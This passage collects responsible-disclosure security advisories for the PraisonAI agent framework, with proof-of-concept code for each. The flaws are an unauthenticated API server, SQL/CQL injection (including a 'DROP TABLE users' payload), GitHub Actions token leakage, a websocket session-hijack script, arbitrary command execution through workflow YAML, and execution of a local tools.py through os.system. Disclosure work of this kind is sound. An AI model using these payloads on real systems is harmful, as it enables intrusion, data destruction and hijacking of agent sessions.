filter="data" (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses symlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class. If you also support older Python, add an explicit guard inside the existing per-member loop before tar.extractall:

python if member.issym() or member.islnk(): linktarget = (destresolved / memberpath.parent / member.linkname).resolve() if member.linkname.startswith("/") or not str(linktarget).startswith(str(destresolved) + os.sep): raise RegistryError( f"Refusing to extract link with target outside dest dir: " f"{member.name} -> {member.linkname}" )

Affected versions

praisonai >= 2.7.2 through current 4.6.35 (the helper exists at least back to the earliest path-traversal patch chain referenced in GHSA-99g3-w8gr-x37c). All releases that route extraction through safeextractall are exposed.

Disclosure

Reported privately via the project's GHSA workflow at https://github.com/MervinPraison/PraisonAI/security/advisories/new

-- Dhiral Vyas

Summary PraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access /agents and trigger the configured agents.yaml workflow through /chat without providing a token.

Details The vulnerable server is the shipped src/praisonai/apiserver.py entrypoint.

- AUTHENABLED = False and AUTHTOKEN = None are hard-coded at [src/praisonai/apiserver.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/apiserver.py:15). - checkauth() returns True whenever authentication is disabled, so both protected routes fail open by design at [src/praisonai/apiserver.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/apiserver.py:18). - POST /chat only checks that the request JSON contains a message key and then runs PraisonAI(agentfile="agents.yaml").run() at [src/praisonai/apiserver.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/apiserver.py:31). - GET /agents is guarded by the same no-op authentication check and returns agent metadata at [src/praisonai/apiserver.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/apiserver.py:55). - When launched directly, the same script binds to 0.0.0.0:8080 at src/praisonai/apiserver.py.

The deploy subsystem keeps the same insecure authentication default:

- APIConfig defaults authenabled to False in [src/praisonai/praisonai/deploy/models.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23). - The generated sample API deployment YAML recommends host: 0.0.0.0 together with authenabled: false in [src/praisonai/praisonai/deploy/schema.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108).

For scope clarity: the newer serve agents command is safer by default, because it binds to 127.0.0.1 and supports --api-key in [src/praisonai/praisonai/cli/commands/serve.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.

Version scope:

- v2.5.6 already ships the same src/praisonai/apiserver.py implementation. - The current PyPI release on May 1, 2026 is 4.6.33, and it still ships the same unauthenticated server logic.

PoC The following route-level reproduction was verified locally and proves that the shipped apiserver.py exposes /agents and /chat without authentication.

1. From the repository root, create a throwaway environment with the server's direct Flask dependencies:

bash python3 -m venv /tmp/praisonai-ghsa-venv /tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors

2. Execute the shipped src/praisonai/apiserver.py under a minimal stub for praisonai.PraisonAI so only the server auth logic is exercised:

bash /tmp/praisonai-ghsa-venv/bin/python - <<'PY' import importlib.util import pathlib import sys import types

stub = types.ModuleType("praisonai")

class DummyPraisonAI: def init(self, agentfile="agents.yaml"): self.agentfile = agentfile def run(self): return {"ran": True, "agentfile": self.agentfile}

stub.PraisonAI = DummyPraisonAI sys.modules["praisonai"] = stub

path = pathlib.Path("src/praisonai/apiserver.py").resolve() spec = importlib.util.specfromfilelocation("apiserverlocal", path) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod)

client = mod.app.testclient() print(client.get("/agents").statuscode, client.get("/agents").getdata(astext=True)) print(client.post("/chat", json={"message": "hello"}).statuscode, client.post("/chat", json={"message": "hello"}).getdata(astext=True)) PY

3. Observed result:

text 200 {"agentfile":"agents.yaml","agents":["default"]} 200 {"response":{"agentfile":"agents.yaml","ran":true},"status":"success"}

Both endpoints succeed without any Authorization header.

Impact Any reachable caller can invoke the legacy API server's protected functionality without a token.

At minimum, this allows:

- unauthenticated enumeration of the configured agent file through /agents - unauthenticated triggering of the locally configured agents.yaml workflow through /chat - repeated consumption of model/API quota and any other side effects performed by that workflow - exposure of whatever result PraisonAI.run() returns to the unauthenticated caller

This is not the same as arbitrary prompt injection by itself, because the current /chat handler ignores the submitted message value and simply runs the configured workflow. The impact therefore depends on what the operator's agents.yaml is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.

Summary PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.

Details This issue affects the public persistence layer exported by persistence/init.py, which exposes KnowledgeStore and createknowledgestore(). The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112):

- pgvector at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162) - cassandra at persistence/factory.py - singlestorevector at persistence/factory.py

The common root cause is that the KnowledgeStore interface accepts free-form collection names in createcollection(), deletecollection(), insert(), upsert(), search(), get(), delete(), and count() at [persistence/knowledge/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.

Representative sinks:

- SingleStoreVectorKnowledgeStore builds tablename = f"{self.tableprefix}{name}" and executes raw DDL in [persistence/knowledge/singlestorevector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestorevector.py:92). The same pattern is reused for deletecollection, insert, upsert, search, get, delete, and count. - PGVectorKnowledgeStore builds public.praisonvec{collection} and idx{name}embedding directly into SQL in [persistence/knowledge/pgvector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82). - CassandraKnowledgeStore interpolates name and collection directly into CREATE TABLE, DROP TABLE, INSERT, SELECT, DELETE, and COUNT statements in [persistence/knowledge/cassandra.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).

There is already an internal identifier validator in the conversation persistence layer:

- validateidentifier() only allows alphanumeric characters and underscores in [persistence/conversation/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)

That validator is used for SQL identifiers such as tableprefix and schema in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.

Version scope:

- pgvector.py and cassandra.py were already present by v2.4.1 - singlestorevector.py was present by v2.4.3 - the current PyPI release on May 1, 2026 is 4.6.33, and the same interpolation patterns are still present

Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.

PoC The following local reproductions show that attacker-controlled collection names become part of the executed SQL text.

1. Reproduce the SingleStoreVectorKnowledgeStore.deletecollection() query construction:

bash python3 - <<'PY' import importlib.util import pathlib import sys import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.path = [] sys.modules[k] = v

def load(name, path): spec = importlib.util.specfromfilelocation(name, path) mod = importlib.util.modulefromspec(spec) sys.modules[name] = mod spec.loader.execmodule(mod) return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") ss = load("praisonai.persistence.knowledge.singlestorevector", base / "knowledge" / "singlestorevector.py")

class FakeCursor: def init(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def enter(self): return self def exit(self, args): return False

class FakeConn: def init(self): self.calls = [] def cursor(self): return FakeCursor(self)

store = ss.SingleStoreVectorKnowledgeStore() store.initialized = True store.conn = FakeConn() store.deletecollection("x; DROP TABLE users; --") print(store.conn.calls[-1][0].strip()) PY

Observed result:

text DROP TABLE IF EXISTS praisonaix; DROP TABLE users; --

2. Reproduce the PGVectorKnowledgeStore.createcollection() query construction:

bash python3 - <<'PY' import importlib.util import pathlib import sys import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.path = [] sys.modules[k] = v

def load(name, path): spec = importlib.util.specfromfilelocation(name, path) mod = importlib.util.modulefromspec(spec) sys.modules[name] = mod spec.loader.execmodule(mod) return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")

psycopg2 = types.ModuleType("psycopg2") extras = types.ModuleType("psycopg2.extras") pool = types.ModuleType("psycopg2.pool") class DummyPool: def init(self, a, k): pass def getconn(self): return None def putconn(self, c): pass pool.ThreadedConnectionPool = DummyPool extras.RealDictCursor = object psycopg2.pool = pool sys.modules["psycopg2"] = psycopg2 sys.modules["psycopg2.pool"] = pool sys.modules["psycopg2.extras"] = extras

pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py")

class FakeCursor: def init(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def enter(self): return self def exit(self, args): return False

class FakeConn: def init(self): self.calls = [] def cursor(self): return FakeCursor(self) def commit(self): pass

store = pg.PGVectorKnowledgeStore(autocreateextension=False) conn = FakeConn() store.getconn = lambda: conn store.putconn = lambda c: None store.createcollection("x; DROP TABLE users; --", 3) for query, in conn.calls: print(query.strip()) PY

Observed result includes:

text CREATE TABLE IF NOT EXISTS public.praisonvecx; DROP TABLE users; -- ( CREATE INDEX IF NOT EXISTS idxx; DROP TABLE users; --embedding

The Cassandra backend follows the same pattern in its CREATE TABLE, DROP TABLE, INSERT, SELECT, and DELETE statements.

Impact This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.

Potential impact depends on backend and driver behavior, but includes:

- malformed queries and backend errors - access to unintended tables or indexes - execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape

I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.

PraisonAI is a multi-agent teams system. In versions 4.5.139 and below, the GitHub Actions workflows are vulnerable to ArtiPACKED attack, a known credential leakage vector caused by using actions/checkout without setting persist-credentials: false. By default, actions/checkout writes the GITHUBTOKEN (and sometimes ACTIONSRUNTIMETOKEN) into the .git/config file for persistence, and if any subsequent workflow step uploads artifacts (build outputs, logs, test results, etc.), these tokens can be inadvertently included. Since PraisonAI is a public repository, any user with read access can download these artifacts and extract the leaked tokens, potentially enabling an attacker to push malicious code, poison releases and PyPI/Docker packages, steal repository secrets, and execute a full supply chain compromise affecting all downstream users. The issue spans numerous workflow and action files across .github/workflows/ and .github/actions/. This issue has been fixed in version 4.5.140.

Summary praisonai browser start exposes the browser bridge on 0.0.0.0 by default, and its /ws endpoint accepts websocket clients that omit the Origin header entirely. An unauthenticated network client can connect as a fake controller, send startsession, cause the server to forward startautomation to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials.

Details The issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced.

Relevant code paths:

- Default network exposure: src/praisonai/praisonai/browser/server.py:38-44 and src/praisonai/praisonai/browser/cli.py:25-30 - Optional-only origin validation: src/praisonai/praisonai/browser/server.py:156-173 - Unauthenticated startsession routing: src/praisonai/praisonai/browser/server.py:237-240 and src/praisonai/praisonai/browser/server.py:289-302 - Cross-connection forwarding to any other idle websocket: src/praisonai/praisonai/browser/server.py:344-356 - Broadcast of action output back to the initiating unauthenticated client: src/praisonai/praisonai/browser/server.py:412-423 and src/praisonai/praisonai/browser/server.py:462-476

The handshake logic only checks origin when an Origin header is present:

python origin = websocket.headers.get("origin") if origin: ... if not isallowed: await websocket.close(code=1008) return

await websocket.accept()

This means a non-browser client can omit Origin completely and still be accepted.

After that, any connected client can send {"type":"startsession", ...}. The server then looks for the first other websocket without a session and sends it a startautomation message:

python if clientconn != conn and clientconn.websocket and not clientconn.sessionid: await clientconn.websocket.sendtext(jsonmod.dumps(startmsg)) clientconn.sessionid = sessionid senttoextension = True break

When the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same sessionid, including the unauthenticated initiating client:

python actionresponse = { "type": "action", "sessionid": sessionid, action, }

for clientid, clientconn in self.connections.items(): if clientconn.sessionid == sessionid and clientconn != conn: await clientconn.websocket.sendjson(actionresponse)

I verified this on the latest local checkout: praisonai version 4.5.134 at commit 365f75040f4e279736160f4b6bdb2bdb7a3968d4.

PoC I used tmp/pocs/poc.sh to reproduce the issue from a clean local checkout.

Run:

bash cd "/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI" ./tmp/pocs/poc.sh

Expected vulnerable output:

text [+] No-Origin client accepted: True [+] Session forwarded to extension: True [+] Action broadcast to attacker: True [+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.

Step-by-step reproduction:

1. Start the local browser bridge from the checked-out source tree. 2. Connect one websocket as a stand-in extension using a valid chrome-extension://<32-char-id> origin. 3. Connect a second websocket with no Origin header. 4. Send startsession from the unauthenticated websocket. 5. Observe that the server forwards startautomation to the extension websocket. 6. Send an observation from the extension websocket using the assigned sessionid. 7. Observe that the resulting action and completion status are delivered back to the unauthenticated initiating websocket.

tmp/pocs/poc.sh:

sh #!/bin/sh set -eu

SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"

cd "$SCRIPTDIR/../.."

exec uv run --no-project \ --with fastapi \ --with uvicorn \ --with websockets \ python3 "$SCRIPTDIR/poc.py"

tmp/pocs/poc.py:

python #!/usr/bin/env python3 """Verify unauthenticated browser-server session hijack on current source tree.

This PoC starts the BrowserServer from the local checkout, connects: 1. A fake extension client using an arbitrary chrome-extension Origin 2. An attacker client with no Origin header

It then shows the attacker can start a session that the server forwards to the extension connection, and can receive the resulting action broadcast back over that hijacked session. """

from future import annotations

import asyncio import json import os import socket import sys import tempfile from pathlib import Path

REPOROOT = Path(file).resolve().parents[2] SRCROOT = REPOROOT / "src" / "praisonai" if str(SRCROOT) not in sys.path: sys.path.insert(0, str(SRCROOT))

def pickport() -> int: with socket.socket(socket.AFINET, socket.SOCKSTREAM) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1]

class DummyBrowserAgent: """Minimal stub to avoid real LLM/browser dependencies during validation."""

def init(self, model: str, maxsteps: int, verbose: bool): self.model = model self.maxsteps = maxsteps self.verbose = verbose

async def aprocessobservation(self, message: dict) -> dict: return { "action": "done", "thought": f"processed: {message.get('url', '')}", "done": True, "summary": "dummy action generated", }

async def main() -> int: temphome = tempfile.TemporaryDirectory(prefix="praisonai-browser-poc-") os.environ["HOME"] = temphome.name

from praisonai.browser.server import BrowserServer import praisonai.browser.agent as agentmodule import uvicorn import websockets

agentmodule.BrowserAgent = DummyBrowserAgent

port = pickport() server = BrowserServer(host="127.0.0.1", port=port, verbose=False) app = server.getapp()

config = uvicorn.Config( app, host="127.0.0.1", port=port, loglevel="error", accesslog=False, ) uvicornserver = uvicorn.Server(config) servertask = asyncio.createtask(uvicornserver.serve())

try: for in range(50): if uvicornserver.started: break await asyncio.sleep(0.1) else: raise RuntimeError("Uvicorn server did not start in time")

wsurl = f"ws://127.0.0.1:{port}/ws"

async with websockets.connect( wsurl, origin="chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", ) as extensionws: extensionwelcome = json.loads(await extensionws.recv()) print("[+] Extension welcome:", extensionwelcome)

async with websockets.connect(wsurl) as attackerws: attackerwelcome = json.loads(await attackerws.recv()) print("[+] Attacker welcome:", attackerwelcome)

await attackerws.send( json.dumps( { "type": "startsession", "goal": "Open internal admin page and reveal secrets", "model": "dummy", "maxsteps": 1, } ) ) startresponse = json.loads(await attackerws.recv()) print("[+] Attacker startsession response:", startresponse)

hijackedmsg = json.loads(await extensionws.recv()) print("[+] Extension received forwarded message:", hijackedmsg)

sessionid = hijackedmsg["sessionid"] await extensionws.send( json.dumps( { "type": "observation", "sessionid": sessionid, "stepnumber": 1, "url": "https://victim.example/internal", "elements": [{"selector": "#secret"}], } ) )

attackeraction = json.loads(await attackerws.recv()) attackerstatus = json.loads(await attackerws.recv()) print("[+] Attacker received broadcast action:", attackeraction) print("[+] Attacker received completion status:", attackerstatus)

nooriginclientconnected = attackerwelcome.get("status") == "connected" forwardedtoextension = hijackedmsg.get("type") == "startautomation" actionbroadcasted = ( attackeraction.get("type") == "action" and attackeraction.get("sessionid") == sessionid )

print("[+] No-Origin client accepted:", nooriginclientconnected) print("[+] Session forwarded to extension:", forwardedtoextension) print("[+] Action broadcast to attacker:", actionbroadcasted)

if nooriginclientconnected and forwardedtoextension and actionbroadcasted: print("[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.") return 0

print("[-] RESULT: NOT VULNERABLE") return 1 finally: uvicornserver.shouldexit = True try: await asyncio.waitfor(servertask, timeout=5) except Exception: servertask.cancel() temphome.cleanup()

if name == "main": raise SystemExit(asyncio.run(main()))

tmp/pocs/poc.py starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly.

PoC Video:

https://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e

Impact This is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results.

Who is impacted:

- Operators who run praisonai browser start with the default host binding - Users with an active connected browser extension session - Environments where the bridge is reachable from other hosts on the network

Recommended Fix Suggested remediations:

1. Require explicit authentication for every websocket client connecting to /ws. 2. Reject websocket handshakes that omit Origin, unless they are using a separate authenticated localhost-only transport. 3. Bind the browser bridge to 127.0.0.1 by default and require explicit operator opt-in for non-loopback exposure. 4. Do not route startsession to “the first other idle connection”; instead, pair authenticated controller and extension clients explicitly.

praisonai workflow run <file.yaml> loads untrusted YAML and if type: job executes steps through JobWorkflowExecutor in jobworkflow.py.

This supports: - run: → shell command execution via subprocess.run() - script: → inline Python execution via exec() - python: → arbitrary Python script execution

A malicious YAML file can execute arbitrary host commands.

Affected Code - workflow.py → actionrun() - jobworkflow.py → execshell(), execinlinepython(), execpythonscript()

PoC Create exploit.yaml:

yaml type: job name: exploit steps: - name: write-file run: python -c "open('pwned.txt','w').write('owned')"

Run:

bash praisonai workflow run exploit.yaml

Reproduction Steps 1. Save the YAML above as exploit.yaml. 2. Execute praisonai workflow run exploit.yaml. 3. Confirm pwned.txt appears in the working directory.

Impact Remote or local attacker-supplied workflow YAML can execute arbitrary host commands and code, enabling full system compromise in CI or shared deployment contexts.

Reporter: Lakshmikanthan K (letchupkt)

PraisonAI automatically imports ./tools.py from the current working directory when launching certain components. This includes call.py, toolresolver.py, and CLI tool-loading paths.

A malicious tools.py placed in the process working directory is executed immediately, allowing arbitrary Python code execution in the host environment.

Affected Code - call.py → importtoolsfromfile() - toolresolver.py → loadlocaltools() - tools.py → local tool import flow -

PoC Create tools.py in the directory where PraisonAI is launched:

python tools.py import os os.system("echo pwned > /tmp/pwned.txt")

Run any PraisonAI component that loads local tools, for example:

bash praisonai workflow run safe.yaml

Reproduction Steps 1. Create a malicious tools.py in the current working directory. 2. Start PraisonAI or invoke a CLI command that loads local tools. 3. Verify that /tmp/pwned.txt or the malicious command output exists.

Impact An attacker who can place or influence tools.py in the working directory can execute arbitrary code in the PraisonAI process, compromising the host and any connected data.

Reporter: Lakshmikanthan K (letchupkt)